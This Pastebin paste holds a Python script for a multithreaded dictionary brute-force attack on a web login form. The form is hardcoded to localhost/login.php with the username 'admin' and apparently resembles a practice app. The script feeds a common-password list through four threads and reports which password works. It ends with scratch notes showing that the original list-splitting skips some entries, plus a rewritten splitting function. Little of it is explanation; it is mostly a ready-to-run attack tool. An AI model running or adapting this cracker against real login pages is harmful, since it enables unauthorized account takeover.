Guest User

Untitled

a guest
Nov 16th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.30 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import threading
  4. import requests
  5.  
  6. URL = 'http://localhost/login.php'
  7. PASSWORD_FILE_NAME = 'common-passwords.txt'
  8. entry_found = False
  9.  
  10.  
  11. def create_threads(passwords):
  12. password_list_split_points = [
  13. (0, len(passwords) // 4),
  14. (len(passwords) // 4 + 1, len(passwords) // 2),
  15. (len(passwords) // 2 + 1, 3 * (len(passwords) // 4)),
  16. (3 * (len(passwords) // 4) + 1, len(passwords) - 1),
  17. ]
  18. thread_list = [threading.Thread(
  19. target=run_cracker,
  20. args=(
  21. passwords[split_point[0] : split_point[1]]
  22. )
  23. ) for split_point in password_list_split_points]
  24. return thread_list
  25.  
  26.  
  27. def run_cracker(*passwords):
  28. global entry_found
  29. for password in passwords:
  30. if entry_found:
  31. break
  32. # Passwords still contain last n char which has to be stripped.
  33. if crack_password(password.rstrip()):
  34. # This is set to True only once. No need for sync mechanisms.
  35. entry_found = True
  36.  
  37.  
  38. def crack_password(password):
  39. print('[*] Trying password: "{}" ...'.format(password))
  40. response = requests.post(
  41. URL,
  42. data={'username': 'admin', 'Login': 'Login', 'password': password}
  43. )
  44.  
  45. if bytes('Login failed', encoding='utf-8') not in response.content:
  46. print('[*] Login successful for username: {} password: {}'.format(
  47. 'admin', password
  48. ))
  49. return True
  50. else:
  51. return False
  52.  
  53.  
  54. if __name__ == '__main__':
  55. with open(PASSWORD_FILE_NAME) as password_file:
  56. passwords = password_file.readlines()
  57.  
  58. thread_list = create_threads(passwords)
  59.  
  60. for thread in thread_list:
  61. print('[*] Running thread: {}.'.format(thread.getName()))
  62. thread.start()
  63.  
  64. for thread in thread_list:
  65. print('[*] Wating for {} to join.'.format(thread.getName()))
  66. thread.join()
  67.  
  68. n = 100
  69. a = range(n)
  70. b = a[0 : n // 4] # equals [0, 1, ... , 23, 24]
  71. c = a[n // 4 + 1 : n // 2] # equals [26, 27, ..., 47, 48]
  72.  
  73. def create_threads(t, passwords):
  74. n = len(passwords)
  75. x = n // t
  76. m = n % t
  77. xs = [passwords[i:i+x] for i in range(0, n, x)]
  78. if m:
  79. xs[t-1:] = [passwords[-m-x:]]
  80. assert(sum([len(l) for l in xs]) == n)
  81. return [
  82. threading.Thread(target=run_cracker, args=(l)) for l in xs
  83. ]
Add Comment
Please, Sign In to add comment